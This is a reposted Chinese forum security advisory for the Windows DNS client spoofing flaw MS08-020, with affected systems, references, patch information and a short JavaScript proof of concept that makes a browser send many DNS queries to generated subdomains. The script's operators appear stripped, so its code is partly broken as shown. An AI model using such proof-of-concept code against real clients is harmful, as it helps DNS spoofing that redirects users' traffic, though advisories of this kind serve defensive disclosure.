有事业 發表於 2008-10-8 20:05:11

Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统:
<br />Microsoft Windows XP SP2
<br />Microsoft Windows Vista
<br />Microsoft Windows Server 2003 SP2
<br />Microsoft Windows Server 2003 SP1
<br />Microsoft Windows 2000SP4
<br />描述:
<br />--------------------------------------------------------------------------------
<br />BUGTRAQID: 28553
<br />CVE(CAN) ID: CVE-2008-1085
<br />
<br />Microsoft Windows是微软发布的非常流行的操作系统。
<br />
<br />Windows DNS客户端服务在执行DNS查询时,随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应,欺骗或重新定向合法位置的Internet通讯。
<br />
<br />&lt;*来源:Amit Klein (Amit.Klein@SanctumInc.com)
<br />
<br />链接:http://secunia.com/advisories/29696/
<br />      http://marc.info/?l=bugtraq&m=120767868524748&w=2
<br />      http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf
<br />      http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true
<br />      http://www.us-cert.gov/cas/techalerts/TA08-099A.html
<br />*&gt;
<br />
<br />测试方法:
<br />--------------------------------------------------------------------------------
<br />
<br />警 告
<br />
<br />以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<br />
<br />&lt;html&gt;
<br />&lt;body&gt;
<br />&lt;script&gt;
<br />var max_n=20;
<br />var n=0;
<br />var x=new Image();
<br />x.onerror=loadnext;
<br />x.onload=loadnext;
<br />function loadnext()
<br />{
<br />if (n&lt;max_n)
<br />{
<br />n;
<br />x.src=&quot;http://t-&quot; (new Date()).getTime()
<br />&quot;-&quot; n &quot;.domain.site/&quot;;
<br />}
<br />}
<br />loadnext();
<br />&lt;/script&gt;
<br />&lt;/body&gt;
<br />&lt;/html&gt;
<br />
<br />建议:
<br />--------------------------------------------------------------------------------
<br />厂商补丁:
<br />
<br />Microsoft
<br />---------
<br />Microsoft已经为此发布了一个安全公告(MS08-020)以及相应补丁:
<br />MS08-020:Vulnerability in DNS Client Could Allow Spoofing (945553)
<br />链接:http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true
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